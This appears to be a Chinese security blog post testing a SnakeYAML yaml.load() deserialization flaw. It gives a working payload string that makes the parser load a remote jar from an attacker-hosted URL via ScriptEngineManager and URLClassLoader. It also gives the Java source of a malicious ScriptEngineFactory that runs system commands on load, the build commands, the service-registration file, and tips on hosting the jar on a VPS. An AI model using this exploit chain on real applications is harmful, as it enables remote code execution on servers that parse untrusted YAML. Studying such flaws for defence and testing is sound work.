朋友在项目中遇到一个上传yaml文件的点,才知道还有个yaml反序列化;记录下;
关键:YAML、 yaml.load()
场景:项目上的场景是存在上传yaml文件,刚好调用了ymal.load()
新建一个maven项目,pom.xml中添加:
<dependencies>
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.17</version>
</dependency>
</dependencies>
创建一个类,进行yaml调用:
package src.main;
import org.yaml.snakeyaml.Yaml;
public class mYmlTest {
public static void main(String[] args) {
String normal ="hello ";
Yaml yaml =new Yaml();
Object obj = yaml.load(normal);
System.out.println(obj);
}
}
class mYml {
public static void main(String[] args) {
String mevil = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader " +
"[[!!java.net.URL [\"HTTP://yamltest.*****\"]]]]";
Yaml yaml = new Yaml();
Object obj = yaml.load(mevil);
System.out.println("ok222");
}
}
运行mYmal:
需要执行命令的话,将url替换为jar文件,从而触发:
jar文件源码:https://github.com/artsploit
关键java文件代码:
package doexp;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("ping -c yaml.***");
Runtime.getRuntime().exec("cmd /c calc.exe")
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
编译方法:
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
生成jar后,找台vps http挂载就行,或者本地phpstudy搭个web也可;
参考文章:
https://chenergy1991.github.io/2019/04/27/yaml.load%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://github.com/artsploit
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
拓展阅读(点评/知识):
备注:
src
下有
META-INF\services\javax.script.ScriptEngineFactory
如果编译的时候缺少这个文件,则在调用的时候无法成功,查询了下资料如下:
在项目自己的META-INF文件夹中建立一个名为services的文件夹,如WAR包,则为{$Context}WebContent META-INFservices。在该文件夹中创建一个名为org.apache.commons.logging.LogFactory的文件,在该文件中只加入一句话:org.apache.commons.logging.impl.Log4jFactory。意思很简单,那就是为 org.apache.commons.logging.LogFactory类指定了在当前项目中的实现类:org.apache.commons.logging.impl.Log4jFactory。
或者参考oracle的说明:https://docs.oracle.com/javase/6/docs/api/java/util/ServiceLoader.html
A service is a well-known set of interfaces and (usually abstract) classes. A service provider is a specific implementation of a service. The classes in a provider typically implement the interfaces and subclass the classes defined in the service itself. Service providers can be installed in an implementation of the Java platform in the form of extensions, that is, jar files placed into any of the usual extension directories. Providers can also be made available by adding them to the application’s class path or by some other platform-specific means.
大概是提供类的实现接口,从而被调用
本文标题: | yaml.load()反序列化漏洞测试 |
本文链接: (转载请附上本文链接) | https://vulsee.com/archives/vulsee_2019/1025_9168.html |